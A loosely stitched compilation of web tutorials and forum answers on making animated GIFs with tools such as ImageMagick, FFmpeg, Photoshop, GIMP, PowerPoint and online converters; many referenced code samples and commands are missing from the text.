You might also consider using the ImageMagick library.

There are two .net wrappers for the library listed at http://www.imagemagick.org/script/api.php

Here is an example on how to do it using the Magick.net wrapper:

Whether or not calling imagemagick is the best choice is kind of hard to awnser without knowing the quality parameters that are important. Some other options would be:

these have the advantage that you don’t have a dependency on a third partly library which might or might not be available on all systems executing your code.

This article at MS Support explains how to save a gif with a custom color table (this does require full trust). A animated gif is just a set of gifs for each image with some additional information in the header. So combining these two articles should get you what you need.

To use the sample from a Windows Forms app, add references to these assemblies:

C:\Program Files\Reference Assemblies\Microsoft\Framework.NETFramework\v4.0\PresentationCore.dll C:\Program Files\Reference Assemblies\Microsoft\Framework.NETFramework\v4.0\System.Xaml.dll C:\Program Files\Reference Assemblies\Microsoft\Framework.NETFramework\v4.0\WindowsBase.dll

Int32Rect is in the System.Windows namespace

BitmapSizeOptions is in the System.Windows.Media.Imaging namespace

BitmapFrame is in the System.Windows.Media.Imaging namespace

Also, don’t forget to close the file stream (something like this):

The AnimatedGif package can make animated gifs.

How to create an animated gif

I noticed that one more great alternative to ImageMagic and NGif is not listed in answers yet.

FFMpeg can be used for creating animated GIFs from:

sequence of images (files)
existing video clip (say, mp4 or avi)
from C# bitmap objects by providing input data as “ravvideo” through stdin (without using any temp files)

You can start ffmpeg.exe directly from C# code (with System.Diagnostics.Process) or use one of the existing .NET ffmpeg wrappers:

(this code example uses free NReco VideoConverter – I’m an author of this component, feel free to ask any questions about its usage).

GIF size can be easily reduced by decreasing frame rate and/or frame size. Also it is possible to get fine-looking animated GIFs with 2-pass approach that generates optimal GIF palette.

Take any video on your Android and turn it into a small animated GIF to share with friends and family, or just the Interwebs.

Nicole Cozma has an affinity for Android apps and devices, but loves technology in general. Based out of the Tampa Bay Area, she enjoys being a spectator to both sunsets and lightning storms.

Sharing movies while mobile can be fun, but generally will eat a lot of your monthly bandwidth allowance.

Instead of sharing the entire movie while you’re out, why not share a quick animated GIF instead? With GIFDroid for Android, you can take a new or existing video and turn it into an animated GIF that you can send off in seconds to a friend or family member.

First you’ll need to install GIFDroid from the Android Market, then open the app.

Screenshot by Nicole Cozma

Step 1: Press either the Select Video or Record Video button. Select Video will open your Gallery to choose a video.

Screenshot by Nicole Cozma

Step 2: Choose the section of the video you want to make into an animated GIF. You can slide the gray bars at the start and end to adjust which section of the video you’re using.

(Optional) You can press Edit GIF Preferences if you’d like to adjust the FPS, delay between frames, and the size of the resulting GIF.

Screenshot by Nicole Cozma

Step 3: Select the frames from the video you’d like to use. This is a great way to cut out sections where nothing of importance is shown and reduce the size of the animation.

Screenshot by Nicole Cozma

Step 4: Tap the Create GIF text in the bottom right-hand corner to finalize the project.

Screenshot by Nicole Cozma

Step 5: Preview and share your GIF. You can choose to rename the GIF, make another, or even delete the one you just made.

This app is also a great tool for creating profile icons or just fun things to post on the Web.

Animated GIFs have made a big comeback in the past few years. Chances are most of you have come across them in your personal life; but in case you haven’t, an animated GIF is an image file that acts like a short video that loops endlessly. Most people use them much like they do emojis, to express emotions via text message or social media. But have you ever thought of using them in your e-learning? They’re super eye-catching, which makes them a great way to capture and hold your learners’ attention.

Better yet, GIFs are super-easy to incorporate into your Rise 360 courses! Anywhere you can insert images in Rise 360 you can insert animated GIFs and it just works.

But if you don’t have a motion designer on hand, you may be wondering how you can create your own GIFs without a lot of time and effort. Good news! With Storyline 360, making your own animated GIFs is easy. All you have to do is follow these four simple steps.

1. Create an Animation in Storyline

Any animation that you create in Storyline can be converted to a GIF. But before you GIF-ify all your animations, think about whether it makes sense. Would turning this animation into a GIF help engage learners or distract them? Would it help them better understand the material or simply serve as visual bling? It’s important that the GIFs support your learning objectives, not take away from them.

For the purposes of this tutorial, I made a simple animation of a watering can pouring water onto a plant that could be used in a course on gardening.

How to create an animated gif

To create this example I inserted some Content Library illustrations, added motion paths to the water droplets, and timed the arrival of the objects on my timeline.

For more information on how to insert motion paths and work with the timeline, check out these articles:

2. Publish Your Project to Video

Once your animation is complete, select the Video tab from the Publish window and click Publish.

How to create an animated gif

Note that, by default, Storyline will publish your entire project to video. If you only want to publish a single scene or slide, simply click on the Entire Project link and select the scene or slide in question in the pop-up window.

How to create an animated gif

3. Convert to GIF

Finally, upload your video to one of the many free online video-to-GIF converters. The one I’ve been using lately is called EZGif.

On EZGif, you simply upload your video, select the frames you want to include, and click Convert to GIF!

How to create an animated gif

From there you can download your GIF and use it however you’d like!

How to create an animated gif

And you’re done! It’s as easy as that.

More Resources

Now that you know how to create your own animated GIFs, you may be wondering how to use them in meaningful ways in your e-learning courses. Well, you’re in luck! There’s an article for that: 5 Ways to Use Animated GIFs in Your E-Learning.

Strapped for time? We’ve got you. Here are a bunch of beautiful GIFs you can download for free:

And if you’re looking for other visual design tricks to help catch and keep your learners’ attention, check out these articles:

Remember to follow us on Twitter and come back to E-Learning Heroes regularly for more helpful advice on everything related to e-learning. And if you have any questions, feel free to share them in the comments section below!

Transform your videos into GIFs with our fast, easy, and free online converter tool. Convert to GIFs in just a few taps.

How to create an animated gif

How to make a video into a GIF.

How to create an animated gif

1. Select.

Upload a video from your device. Choose any video up to 1 hour long.

2. Convert.

Choose a file size and aspect ratio based on where you plan to share your GIF.

How to create an animated gif

3. Download.

Instantly download your new GIF.

How to create an animated gif

Create a GIF from a video and share it in seconds.

Convert your favorite video clips into memes, reaction GIFs, and more. It’s as easy as uploading your content, selecting the quality type according to your destination, and sharing it with your online audiences.

Choose the size of your GIF.

Select from one of three size options for your GIF. Choose large for a high-quality GIF, medium for GIFs you plan to share on your social media platforms, or small for low resolution GIFs that are easy to share anywhere.

How to create an animated gif

Change the aspect ratio of your GIF.

Quickly change the aspect ratio of your GIF so you can share across all your social channels. Select from a square, landscape, or portrait size, then drag your GIF to fit the new format if needed.

Trim your GIF clip.

Get right to the good stuff with the trimming tool. Use the handlebars to set your parameters so you can get exactly the moment you are looking to capture in your GIF.

How to create an animated gif

Do more with your videos on the go.

Adobe Express lets you make professional quality edits to your videos for free in seconds. Shoot, edit, and share videos from your device to share across all your channels. Confidently create with the power of Adobe at your fingertips.

Whether you are uploading GIFs or are creating GIFs, you have the flexibility to create GIFs up to 60 seconds long with Gfycat. We previously announced this change in summer 2017.

Step 1: Prepare your GIF and Video files
Do any editing, cropping, and trimming you need to do offline using a program such as GIF Brewery. The files you want to upload can be any size. Make sure your files are 60 seconds or less in duration. Any video files that are over 60 seconds will automatically be cut to the first 60 seconds once uploaded to Gfycat.

Step 2: Select and Upload Files
Choose GIF or video files to add by dragging and dropping, clicking the blue button to browse your files, or entering GIF or video URLs to add files for upload. You must be logged in order for GIFs to be saved to your account page.

Step 3: Uploading
Once you choose your files, we automatically begin uploading them to save time. While that is happening, you can locate more GIF or video files so they can begin uploading also.

Longer length videos will take a little bit longer to encode than short GIFs like Reaction GIFs.

Step 4: Add a title, tags, and privacy settings
You can add relevant tags to your GIFs, separated by commas. You can also change your GIFs from Public to Private. Private GIFs cannot be seen by anyone except you when you are logged in. Private GIFs can be shared if you send the URL to someone or post the URL on social media. Privacy settings must be applied individually to all the GIFs in your upload.

Step 5: Share your GIFs!
You can share Gfycat GIFs on Facebook, Twitter, Reddit, Instagram, Pinterest, VK, Tumblr, text message, email, and everywhere!

Step 1: Add Video File or Video Link
Choose video by entering YouTube or video URL, dragging and dropping a video file, or clicking the blue button to browse your files. There are no files size or duration limits for the videos you use. Gfycat supports .MP4, .WEBM, .MOV and many other video formats. You must be logged in order for GIFs to be saved to your account page.
Tip: Videos that are 100s of MBs or greater than 1GB will take a long time to upload to our system from your device. We recommend using smaller files unless you are on a very high-speed connection.

Step 2: Select Start Time and Length of GIF
Use the sliders to select start time on the video and the duration of your GIF. The duration can be up to 60 seconds long.

Step 3: Add Captions
If you want to add any captions, you can do so here. Otherwise, skip to Step 4.

Step 4: Add a title and tags
You can add relevant tags to your GIFs, separated by commas.

How to create an animated gif

Step 5: Finish and Create GIF
Hit the “Finish” button to start creating your GIF. You will be immediately redirected to the GIF results page.

Step 6: Share your GIFs!
You can share Gfycat GIFs on Facebook, Twitter, Reddit, Instagram, Pinterest, VK, Tumblr, text message, email, and everywhere!

Sometimes 5, 10 or 15 seconds just isn’t enough. Start making GIFs up to 60 seconds now (like this recipe GIF below)!

Introduction: How to Create an Animated GIF in Photoshop CS5

How to create an animated gif

WELCOME !!

Step 1: Step One: Are You Prepared?

Before you can start your animation, you must ask yourself a few simple questions:
Do I have hands to hold a mouse or pen to draw with? If you answered yes, you may continue.
Do I have a computer, and does it have Photoshop on it? If you answered yes, you may continue (but I’ll take this time to say that the instructions I give you may not work for all types of Photoshop, I’ll only tell you how to do it in CS5, but the procedure is similar is other types)
AND MOST IMPORTANTLY: Do I have a desire to animate? If you answered yes, you may continue, but first let me tell you why this is the most important. Animation is a long a tedious process, but the end result is worth it. If you aren’t driven to finish a project, it may never see the light of day. Don’t get frustrated or discouraged, everyone started somewhere, and once you get the hang of it, it’s really more fun than work.

Congratulations, if you’ve made it this far, you are ready to animate, let’s get going then, I’ll just show you what you need to open.

Step 1.5 : Opening a New Animation:
Opening a new animation is just like opening a regular photoshop document. All you have to do is open Photoshop and go to File>New, or hold Ctrl+N. This will open a menu that asks you what you’d like your new document to look like. In the width and height boxes I usually put in 8×8 by typing 8 in both spaces and changing the drop boxes parallel to ‘inches’. I also change the resolution to 300 pixels/inch. This makes the image less blurry and I can do more detailed work. When I change the animation into a GIF at the end, the resolution will go back down to 72px/inch, so you can leave it if you prefer.

Step 2: Step Two: Creating Your Masterpiece

You can animate anything you want with Photoshop, but for now, I’m just going to use a girl turning around. For the sake of the instructable, I’ll leave it very simple.

What I’ve done here is chosen a colour I like, in this case dark blue, and used the fill bucket to create the background. Then I chose the brush tool and drew the back of the girl I’ll have turn around. I use the little colour swatch thing at the bottom left to chose the colours for her dress, hair and skin.

Before you go any further, let me explain layers, because they are most important when animating. Layers are like sheets of glass you place over one another. The first layer is the background, and you can’t delete it. Each time you add a new layer, its a new, transparent sheet of glass, and each time you draw on the layer, it will cover up whatever is underneath it. This is crucial in animation, because you can create ‘frames’ with layers, but in order for it to work, you have to make sure none of your layers have transparent spots. Like glass, if you cover the whole layer, you can’t see the last frame underneath, but if you erase, you take the ‘paint’ off, so if you make a mistake, draw over it in the background colour or something.

When you’re satisfied with your drawing, go over to the Layers menu at the bottom right of the screen and drag and drop this first layer over the ‘create new layer’ icon (looks like a little piece of paper with its corner folded up). This will create an identical layer over top of the last one and there will be no transparent spots. Now the first layer, your background, has become your first frame n your animation. On your second layer, you can start to paint over and add subtle differences to show your subject is moving.

Remember, the most frames you use, the smoother and more realistic the animation will be. When you have finished one frame, click and drag it to the ‘new layer’ icon again and continue.

Step 3: Step Three: Let’s See This in Action

So, you’ve managed to draw frames that you think will become a beautiful animation. Now let’s see how they look.

In Photoshop CS5, if you go to Window>Animation, a snazzy little timeline will appear at the bottom of your screen. all of your images may be jumbled into one, so what you should do is go to the top right of that timeline and look for the menu icon (looks like an arrow pointing down will four lines), click it, and then select ‘Make frames from layers’. This will turn all of your layers into frames in an animation. Now if you hit the play button at the bottom left of the timeline, you can see your animation play though. This is where you can see if you’ve made any mistakes, or if you need to add more frames–if this is the case, you can just click the icon at the bottom of the timeline that looks like the new layer icon. This will do the same thing as copying a layer back in the layers menu.

Now you may be wondering why I didn’t tell you about this before. Granted, it does make the process easier, I find it’s sometimes glitchy or jumpy and has a mind of its own, so I prefer to start simply by using layers, and then use the timeline later. If you have no problems though, feel free to try it out from the get-go.

Step 4: Step Four: How to Turn Your Brainbaby Into a GIF

Now that you’re finished and satisfied with your work, you have to save it. Simply saving the file as a PSD or a JPG won’t work, the image won’t move. A type of file that will move though is a GIF (which stands for Graphics Interchange Format, meaning the visible frame can change, creating simple animations like ours). To save your animation, you must go to File>Save for Web & Devices. This will open a menu with many bells a whistles. The only thing you care about though, is if that 3D looking little drop box says GIF, if it says anything else, like JPEG, PNG etc, it won’t work, so make sure you choose GIF. Then all you do is hit ‘Save’, save it to your computer, perhaps in a folder called “I am Awesome” or “My Epic Animations”. If your computer is old or has very little RAM, ou may have problems rendering the animation. This is because it is too big, and if you can, you should cut it down a little–I’ve never exceeded 40 frames, so that would be my cut off limit for simple animations like these.
If all goes well though you should be able to find the animation in your documents, right click it and choose Open with>Internet Explorer (it work play if you use Windows Explorer), and see your animation working the way it should.

See, that wasn’t so hard, was it? The first time is complicated, but once you get the hang of it, all you’re friends will flock to you asking you to create them beautiful works of MOVING art!! Keep practising, keep learning, keep rocking the free world–err.

Video content is great and wonderfully compelling, but it sometimes can get lost in the mix. So if you’ve got great short-form video content, how do you make sure it gets seen? Animated GIFs might be one approach to take.

When Twitter announced users have the ability to post animated GIFs the Internet rejoiced. Animated GIFs are a great way to tell your story (or at least tease it) on social media channels, since humans today keep getting shorter (and shorter) attention spans. The key is to create the story you want to tell, even if only in your head, before you start to pull together images and craft your message.

It used to be that Photoshop was the only way to make animated GIFs, but now with multiple tools, it isn’t so hard to do the technical pieces (no more layers!). Just use search to find a GIF maker or use GIPHY (which we’re fond of), as the software allows you to craft GIFs directly from a set of photos or a videos. Let’s set aside the actual technical details and focus on the storyline.

Think about some of your client and how they can get more involved in social media. What is it about that industry that makes you think or laugh? How can you replicate that feeling for your audience in a relevant way?

For instance, this line from Sherlock always makes me laugh because the scene is fraught with tension in regards to what will happen with Moriarty and Sherlock on the same room, but then he breaks the ice with his line and we laugh.

How to create an animated gif

Oh, the possibilities! You could craft pop culture references that can be shared across the internet, create newscasts scenes from snippets of video from a football game, create a teaser of your video that can be sent out over Twitter and email and link back to the original. BuzzFeed even went so far as to create an entire premiere of a show, Banshee, entirely in GIFs for your viewing pleasure, but then when does BuzzFeed do anything that isn’t a little wacky?

Ideas are all around you and they don’t necessarily have to be PR or marketing specific messages for your service, product, etc. It can be pure fun for your audience who will enjoy your efforts to make them laugh if it’s relevant enough to what you do.

If you’re already a master at creating a storyline for other videos, then you’ll be able to storyboard a GIF pretty easily. If you’ve never done any kind of storyboarding, here’s an easy way to get started.

Time is of the essence when you’re creating short form video – every second counts. Take a few sheets of plain paper, cut them into quarter sheets, and then lay them out. Assume that you have about 1 second per image, and create a story appropriately. For Instagram, you can use anywhere from 15 to 60 pieces, Snapchat use 10 pieces, and Facebook use up to 45. If you’re creating an animated GIF, use 2-6 pieces.

How to create an animated gif

Now here’s the trick to make sure that you’re telling a compelling story. Take all of the sheets and throw them in the air, then put the story back together. If you’ve got some sheets that you’re not sure fit in or you can’t remember where they go, consider leaving them out. If you can’t remember them in the story, chances are your audience won’t understand it either.

Think about how you can repurpose existing video content for platforms like Twitter, your website (because no one likes auto-play videos that make noise), other social media platforms and email marketing!

How to create an animated gif

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How to create animated GIFs for presentations at work

Andy Wolber explains how to create an animated GIF in a presentation to focus attention or emphasize a point. And, you can create them on a Chromebook or mobile device.

Most people notice motion. Stare outside for several seconds. A moving object inevitably attracts your attention, whether the object is a living creature, a vehicle, or something pulled in the wind.

Yet presenters either tend to ignore motion entirely or overuse it. Sometimes, a presenter will insert a video. At worst, a presenter will create slides that induce nausea as a result of meaningless zooming or panning. Most slides contain motionless words and images.

Motion on a slide–thanks to the animated GIF–can focus attention in a controlled manner. To be clear: I don’t mean you should use GIFs with images of movie stars or pop culture icons. (As one might read, “These aren’t the GIFs you’re looking for…”) Instead, I encourage you to create your own animated GIF.

An animated GIF offers a way to emphasize a specific idea. Instead of several screenshots, create a GIF that shows a series of steps on a single slide. Instead of multiple photos, use a GIF that displays a product in various colors. Instead of a chart, create a GIF to emphasize the trend indicated as numbers change over time. Or, replace a text list of app names with a GIF that reveals a new app icon on a mobile home screen every five seconds.

When used well, whatever item changes in your GIF–the menu selection, color, or icons–will reinforce your message.

Think of your GIF as a short sequence of images that endlessly loop, over and over, until you move on to the next slide.

Create images

First, you’ll need to capture and save a series of images for your GIF. Most images will work–drawings, illustrations, screenshots–as long as they’re in a standard format (e.g., JPG, PNG, GIF, PSD or BMP). Keep your images the same size to minimize the appearance of unwanted “jumps.” If you crop images, make sure to select the same section of the image. Screenshots work well, since they’re inherently all the same size.

Reduce distractions in your images. For example, set your background or wallpaper to a solid color. Make your screen as visually simple as possible: Often, I hide or minimize menus, extensions, and toolbars.

You may want to draw on your images to focus attention. Add an arrow to point to a menu item, or a box or circle to draw attention to a portion of the screen. Text captions may help, too.

I like to create a Google Drive folder to save my source images. That way, if I ever want to modify or adjust them, they’re all in one place.

Create the GIF

While there are plenty of complicated GIF creation apps and sites, I suggest GIFCreator.me. It works well on a Chromebook, and in almost any browser. Unlike many other GIF creation tools, GIFCreator.me is free, doesn’t require Flash, doesn’t watermark your work, and does allow you to download your creation. The site also doesn’t require account registration.

Go to GifCreator.me and upload the images you created. After they’re uploaded, you’ll see a preview of your GIF in the browser.

You can change the sequence, speed, and size of the GIF. Drag-and-drop to change the order of the images. Set the speed that images change: Choose a transition time as low as one millisecond or as high as five seconds. If needed, adjust the size of the GIF.

Choose “Create GIF Animation,” wait a bit, then choose “Download GIF” and save the GIF file. (I tend to put this GIF in the same folder as the source images.)

Insert GIF into Google Slides

Next, open Google Slides. In a browser, choose Insert, then Image, and choose the animated GIF file you just saved. Or, with Google Slides on Android or iOS, tap the + icon, then choose Image. (On Android, you can add your GIF directly from Google Drive.) Resize the image on your slide as needed.

When you’re finished, open Google Slides from any device–the web, on Android or iOS–to show people your animated GIF and other slides. (Want to see a sample? Take a look at a set of Google Slides I created to show a few ways you might use GIFs for work.)

GIFs as art

Kevin Burg and Jamie Beck take the concept of animated GIFs to an entirely new level at Cinemagraphs.com. Watch one of their images and it’s almost like viewing a short silent film. And that’s the point: Well-crafted moving images take practice, skill, and an artistic eye to create. I hope that the next set of slides you create include an animated image that’s creative and compelling.

What’s your experience?

Have you created an original animated GIF for use at work? If you can, share it and mention @TechRepublic or @awolber on Twitter.

SchizoFilms brings the viewers instructions on how to make an animated GIF in Windows Movie Maker. First open up Movie Maker. You will need to import pictures. To do this, click the button on the top left of the screen that reads ‘Import Media’. Find your files here and import them into Movie Maker. Now, you will want to order the pictures in the sequence you want them to show up in. To do this simply drag and arrange them. Now, you can make adjustments for how long you want each to run by dragging them longer or shorter in the timeline! Now, you will need to publish what you have made. First save your project by going to save project under the file button. Then you will need to click ‘publish movie’ in the middle of the screen to actually make this a video file! Publish the movie to your computer. You can name your GIF animation as well as tell the computer where to save it. Now, in order to make this into a GIF you need to convert. To do this go to w7. media-convert.com. Click browse, find your file and select the file type output to be .gif. When it converts, save this new .gif to your computer. You now have made and saved your GIF animation. Spread it now!

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Record, Edit, and Download GIF Files for Free Online

Easily make the perfect animated GIF

GIFs can be used almost anywhere photos can, from viral meme formats and profile pictures to reaction comments and video clips. Whether you want to start with a video, photos, other GIFs, or text, the Kapwing Studio lets you record, create, edit, and download GIF files quickly.

Kapwing is a powerful, all-in-one GIF editor that supports the plethora of tasks that you’d like to do to edit your GIF, while at the same time being easy enough that anyone can get started. What’s more, if you don’t have a GIF to edit, you can use Kapwing’s plugins to discover new GIFs to create and share with your friends.

How to create an animated gif

How to Make a GIF Online

Add video, GIFs, and images

Make a GIF from your own content. Easily upload your favorite media, or just paste a link.

Drag and drop your media into the right order. You can also change the size and shape of your output GIF. When you’re ready, use the Export dropdown and select ‘Export as GIF’.

Share your video

Download your new video and share directly on social media. Get ready for higher engagement!

How to create an animated gif

Online GIF Editing for Free

GIFs have become an essential part of our every day language – brilliantly capturing the little moments of emotion and reaction that we would otherwise miss. With Kapwing’s online GIF editor, creators can now easily make GIFs from videos, images, or even just text.

Start by uploading a video, GIF, or photo from your computer or phone, or paste the link to a file you found on YouTube, Instagram, TikTok, Facebook, or any location on the web. In the Studio, you can use the Record tool to use your camera or screen to make a GIF, or go ahead and start editing. The Studio lets you add text, transitions, animations, images, crops, filters, and speed adjustments to your GIF.

You can easily convert your video to a GIF by clicking the dropdown menu next to the Export button. This will allow you to take any content you create and output it as an animated GIF. Remember that animated GIFs will not play sound, so converting a video into a GIF will remove any sound from the video file.

Kapwing Studio also supports a large library of text animations as well as special effects that you can apply to your GIF. You can remove the background of a video, for example, and add a different background to convert to a funny GIF to share with friends.

When your project is all ready to go, export it as a GIF file and either download it to your device or share it directly to Instagram, Twitter, or Facebook. These animated files are ideal for quick comments, meme formats, and in-text video embeds.

Be it a Facebook, Google Plus, Twitter, or any other Social or professional networks, everybody is posting their statuses in GIF format. Because, nowadays, GIF format posts are attracting more visitors than normal images and videos. Animated GIFs are not just for posting funny posts, memes on the web, you can also use them productively to demonstrate a product or a software that you developed to your audience.

Making GIF files is not that difficult. All we need a Linux desktop with FFmpeg, and ImageMagick installed. This method will work in all other distributions as long as they have FFmpeg and ImageMagick installed. As you probably know, FFmpeg is an open source audio, video converter. Using FFmpeg, we can easily stream, convert, and record audio and video files. ImageMagick is an open source software that can be used to create, edit, combine bitmap images.

In this brief tutorial, I will show you how to make animated GIF images in Ubuntu 16.04 LTS desktop.

First let us see how to make GIF images from a Video.

As I said, we need to install FFmpeg, and ImageMagick to create GIFs.

FFmpeg and ImageMagick, are available in the Ubuntu official repositories. To install them, run the following command:

I am going to convert two video files into GIF format using FFmpeg, and merge them into one file using ImageMagick. Let us see how I did it.

First, convert your first video to GIF format using command:

-ss : indicates the starting point of GIF
-i : input file
sample.mp4 : My video file name
-to : End position of the GIF file
-r : frame rate. You can increase the value to get more quality GIF file
-vf : filter graph. To scale the GIF image in the desired size.

Sample output:

How to create an animated gif

That’s it. We have successfully created a GIF file from the Video.

Suggested read:

Combine multiple GIFs into one

You can combine GIF images. Just make as many GIFs as you want as shown above, and save them in the same folder.

Then, run the following command to combine all of them:

Create GIF from a list of images

We see how to create a GIF image from a video. Now, we will see how to create a GIF from a list of images.

Go to the folder where you kept all the images, and run the following command from the terminal to create a GIF file.

-delay 120 : The GIF animation speed
-loop 0 : Infinite loops of the animation.

How to create an animated gif

The right GIF can replace a mile-long comment or reply, and knowing how to use them in conversation is basic social platform literacy. Making GIFs is easy as well, and there are many ways to do it. Let’s check the best online and desktop options.

Online Solutions

If you want to skip the hassle of program installation or of importing and cutting your source videos, you can use an online platform. In the following paragraphs, we’ll take a look at two of the most popular options – Giphy and Make a GIF.

Giphy

How to create an animated gif

Giphy is a simple online tool for converting your favorite video clips into GIFs. Here’s how to use it.

Open your browser and navigate to giphy.com.
Click the “Create” button in the upper-right corner of the screen.
Add the URL of the video you want to turn into GIF. Vimeo and YouTube are supported. Alternatively, you can upload a video from your computer.
Next, choose the starting time and duration of your GIF.
Click the “Continue to Decorate” button.
Add captions, stickers, filters, or try doodling over your GIF.
When you’re done, click “Continue to Upload”.
Click “Upload to Giphy”.
You’ll get a link you can paste anywhere you want.

Make a GIF

How to create an animated gif

Make a GIF offers more customization options, though it is as easy to use as Giphy. You can create your own account or log in via Facebook or Twitter. Follow these steps to make a GIF with Make a GIF.

Open your browser and navigate to makeagif.com.
Click the “Create a GIF” button near the top of the screen.
Paste the URL of the YouTube video you want to extract the GIF from.
Set the starting point, duration, and other options. Make sure to choose a category.
Once you’re done, click the “Continue to Publishing” button in the lower-right corner.
Click the “Create Your GIF” button.
Once this is done, you will see the page with your GIF.

Desktop Apps

If you want more customization and editing options, you might want to use a desktop application.

How to create an animated gif

GIMP is probably the most popular alternative to Photoshop. Though it lacks some exclusive features, it is still the strongest photo editing program that you can download for free. It works with Windows, Linux, and Mac computers.

Before you start making a GIF in GIMP, you have to cut your video to the right length. It’s convenient to use VLC Player to do this, which you can download here. Have in mind that MP4 is the best video format option for making GIFs.

Open VLC and open your video.
Click “View”.
Choose “Advanced controls”
Place the timer about five seconds before your GIF should start.
Click the “Record” button.
Click the “Play” button.
Click “Record” once more when you’re done recording.

With the VLC part done, let’s see how to make a GIF in GIMP.

Launch GIMP.
Click “Video”.
Select the “Split into Frames” option, then “Extract Videorange”.
Open the video you made with VLC.
Click the “Video Range” button for a preview of the video.
Set the starting and ending points of your future GIF. Enter the number of the starting frame in the “From Frame” box. Enter the number of the ending frame in the “To Frame” box.
Check the “Create only one multilayer image” option.
Click “OK”.
You can now add effects and edit your GIF as you wish.
Once you’re done editing, click the “File” button.
Select the “Export As” option.
Find the folder where you want to save the file. Name the file and put .gif at the end.
Check the “Loop Forever” option.
Click the “Export” button.

Photoshop

How to create an animated gif

Using Photoshop to make a GIF takes a bit longer than the previous methods, but it gives you unparalleled customization and tweaking options. As with GIMP, you’ll have to cut your video down to size using VLC or a similar player. Once that’s done, here’s what you do:

Launch Photoshop.
Click “File” and select “Import”.
Pick the “Video Frames to Layers” option.
Browse for the video file you want to make a GIF of.
Adjust the sliders to the starting and ending positions of your GIF. Click OK.
In this step, you can add effects, text, and customize your GIF any way you see fit.
When you’re done, click “File”, then “Save for Web”.
Click the “GIF” button and select the “Adaptive” option from the dropdown menu.
Next, select “Looping Options” and choose the “Forever” option.
Click “Save…”

GIF, GIF, Hooray!

If you know how to search for them, you can find GIFs for nearly every occasion. But there are times when you want to use something nobody has created yet. Now that you know how to make a GIF, your chats will never look the same.

The popularity of GIFs has taken over the world — at least the digital world, but most of us can agree that GIFs have become our go to choice of expression when it comes to our text messages, emails, and sharing our thoughts on social media. That being said, including GIFs in your PowerPoint slides is a great way to add interest and humor to your presentation. To get started, here are the three simple steps to creating an Animated GIF using PowerPoint.

How to create an animated gif

Create your canvas.

Open PowerPoint and create your canvas size. Use Slide Size menu to make adjustment to the width and height of your ideal GIF.

Go to Design Tab > Slide Size > Custom Slide Size

How to create an animated gif

Insert your media.

Add your shapes, texts, illustrations, images, etc., to your slides. Use the Animation and Transition tools to add motion to your work. When animating a single slide, I like to use the auto-reverse box in the Animation Pane options to create a smoother looping animation. When animating multiple slides, I like to use Morph Transition to animate my objects.

How to create an animated gif

Export your GIF.

Go to File > Export > Create an Animated GIF. In this menu, you can adjust your file size/quality of your GIF and the number of seconds spent on each slide. Click Create GIF button and then Save. PowerPoint will begin exporting your GIF file. Once finished, go to your saved file folder to see final product!

Tip: Play your slides in Slide Show mode before exporting to make sure your animations and transitions are running smoothly.

PowerPoint currently do not support transparent backgrounds when exporting slides to GIFs.

Sometimes, it’s a lot easier to record yourself doing something and send it to a person than attempt to describe it for them and watch them struggle to do it themselves. At least, that’s how I feel whenever I’m trying to explain a PC setting or otherwise troubleshoot a friend’s system.

While you can always screen-share with a person to walk them through a software setup or a settings tweak, you can also make a quick animated .GIF that answers their questions and sends them on their way. What you don’t need to do this are fancy programs and complicated recording setups. You just need one simple website: gifcap .

To get started, pull up the site. Spend a second or two scanning the page for the big red “Start Recording” button. Get the application ready that you’re trying to record, shout “action!” like your favorite movie director, and click the button. When you do, you’ll see this pop-up:

Britech Pop-Up Canopy

Make sure you pick appropriately, as you don’t want to create a gigantic .GIF of your entire screen when all you’re trying to do is show off one setting in a smaller app. Speaking of, you might also want to shrink the window for whatever app you’re demonstrating to the smallest size it needs to be. Again, why send a gigantic .GIF when a small one will do?

As soon as you click “Share,” the recording will start, so get going with whatever it is you meant to do. Once you’re done, hit the “Stop” button in the lower-left corner of your web browser. And don’t worry if it took you a little time to get situated or you screwed something up; you’ll now have the ability to trim your .GIF to the exact moment you need:

Once you’re satisfied with your .GIF, click on “Render” to do just that. Assuming you didn’t try to capture a Michael Bay-length masterwork, it shouldn’t take much time before you have a brand-new .GIF to download. The first time you make one, I’m willing to bet you’ll be blown away by how large the file size is oh no.

Again, a .GIF is really best used to show a short snippet of a specific thing, not a three-minute how-to video capturing your full 1080p screen. The smaller the area you’re capturing in the original source, and the less time you’re recording, the smaller your .GIF will be.

You can also try using a third-party tool to compress the .GIF or convert it to a more-optimized .WEBM file . That can help, but don’t expect it to perform miracles. Compression can reduce the quality of what you’ve recorded— ever a delightful trade-off to manage when you’re staring at a .GIF that would make a colleague’s inbox strain.

I have around 200 jpg images. I need to stack them so that i can convert them into a simple animated gif image. Are there any free tools available to do that job? My os is windows. I’m not so bothered about the quality of the output.

5 Answers 5

Try using ImageMagick’s convert utility. I have used it to create animated gifs from a set of images (in any format) in the past.

Use the command

In theory this would work

If you’d like a flexible on-line solution, I just used GIFmaker.me and it worked great. It lets you change the frame order, change the size, set the speed, and set the repeat cycles. You can view the animated GIF and download it when you’re finished.

Edit: I just used another on-line tool that GIFmaker refers to on their site. GIFcreator is even more flexible, letting you duplicate frames, change the delay for each frame, remove frames, and reverse frames. It also has a more flexible resize capability.

How to create an animated gif

ImageJ and FIJI provide a powerful GUI for doing this is (FIJI is a re-package of ImageJ that also includes some widely used plugins). These powerful (but free!) programs may be overkill, but depending on your needs this may be the way to go, since this is a somewhat common and crucial task for biologists.

Also FIJI can open a large array of different image types, can save to GIF or AVI, and it is very easily scriptable (insternally with in Python or Java) for automating custom tasks etc.

Step-by-step instructions (from Here and Here) are as follows:

Put your images in a folder, and name them in sequence (eg. make sure they open alphabetically in the right order, perhaps by adding the desired frame numbers to the start of the filenames). (On MacOS, this automator action could help)
In FIJI, Select `File > Import > Image Sequence. “
Choose your folder, and then any options (eg. scaling the images)
Preview the video with the Play button in the resulting window’s corner.
To change the frame rate, choose Image > Stacks > Animation > Animation Options.

Select File > Save As > Animated GIF. or AVI. and you’re done.

For GIF you can choose the delay between frames (ie. frame rate), and looping option. For AVI you can choose the frame rate.

How to create an animated gif

Peter Davis

Because GIFs behave like pictures, many video editors don’t allow you to incorporate GIFs into your video content. In this article I’m going to show you how to turn your GIFs into video files using a free, online tool called Kapwing.

How to create an animated gif

You’ve seen GIFs while scrolling through social media comments, reading blog forums, and opening emails from colleagues. Now, these moving images are popping up in short video clips. Since GIFs behave like pictures, many video editors don’t allow you to incorporate them into your content. This makes adding GIFs to an existing video project and creating GIF compilation videos a difficult task to achieve.

In this article, I’m going to show you how to easily turn your GIFs into video files using a free online tool called Kapwing. I recommend using Kapwing for several reasons:

